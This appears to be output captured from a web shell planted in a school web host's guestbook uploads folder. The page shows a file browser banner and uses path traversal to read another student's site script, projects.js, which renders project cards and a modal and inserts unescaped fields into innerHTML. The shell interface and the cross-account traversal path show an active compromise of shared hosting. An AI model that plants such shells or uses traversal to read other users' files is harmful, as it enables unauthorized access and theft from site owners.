🐚 WEB SHELL ACTIVATED

📁 File Browser

Current directory: /home/klas4s23/domains/585455.klas4s23.mid-ica.nl/public_html/Gastenboek/uploads

📄 Viewing: ./../../chathub/../../../567358.klas4s23.mid-ica.nl/public_html/projects.js

// Lightweight renderer for projects.json
async function loadProjects(){
  try{
    const res = await fetch('projects.json');
    const projects = await res.json();
    renderProjects(projects);
  }catch(e){
    console.error('Failed to load projects',e);
    const container = document.querySelector('.projecten-container');
    if(container) container.innerHTML = '<p class="muted">Kan projecten niet laden.</p>';
  }
}

function renderProjects(projects){
  const container = document.querySelector('.projecten-container');
  if(!container) return;
  container.innerHTML = '';
  projects.forEach(p=>{
    const card = document.createElement('article');
    card.className = 'project';
    card.innerHTML = `
      <img src="${p.image}" alt="${p.title}">
      <div class="meta">
        <h2>${p.title}</h2>
        <div class="tags">${(p.tags||[]).map(t=>`<span class="tag">${t}</span>`).join('')}</div>
      </div>
      <p>${p.description || ''}</p>
      <div class="actions">
        <a class="btn" href="${p.url}" target="_blank" rel="noopener">Bekijk</a>
        <button class="btn secondary" data-id="${p.id}">Details</button>
      </div>
    `;
    container.appendChild(card);
  });

  // attach detail handlers
  document.querySelectorAll('.btn.secondary').forEach(btn=>{
    btn.addEventListener('click', e=>{
      const id = btn.getAttribute('data-id');
      const p = projects.find(x=>x.id===id);
      if(p) openModal(p);
    })
  })
}

function openModal(p){
  let modal = document.getElementById('project-modal');
  if(!modal){
    modal = document.createElement('div');
    modal.id='project-modal';
    modal.innerHTML = `
      <div class="modal-backdrop" tabindex="-1">
        <div class="modal-card">
          <button class="modal-close">×</button>
          <img class="modal-image" src="${p.image}" alt="${p.title}">
          <h3>${p.title}</h3>
          <p class="muted">${p.description||''}</p>
          <div class="modal-actions"><a class="btn" href="${p.url}" target="_blank">Open project</a></div>
        </div>
      </div>
    `;
    document.body.appendChild(modal);
    modal.querySelector('.modal-close').addEventListener('click', ()=> modal.remove());
    modal.querySelector('.modal-backdrop').addEventListener('click', (ev)=>{ if(ev.target===ev.currentTarget) modal.remove(); });
  }
}

// init
document.addEventListener('DOMContentLoaded', loadProjects);

🎯 Available Actions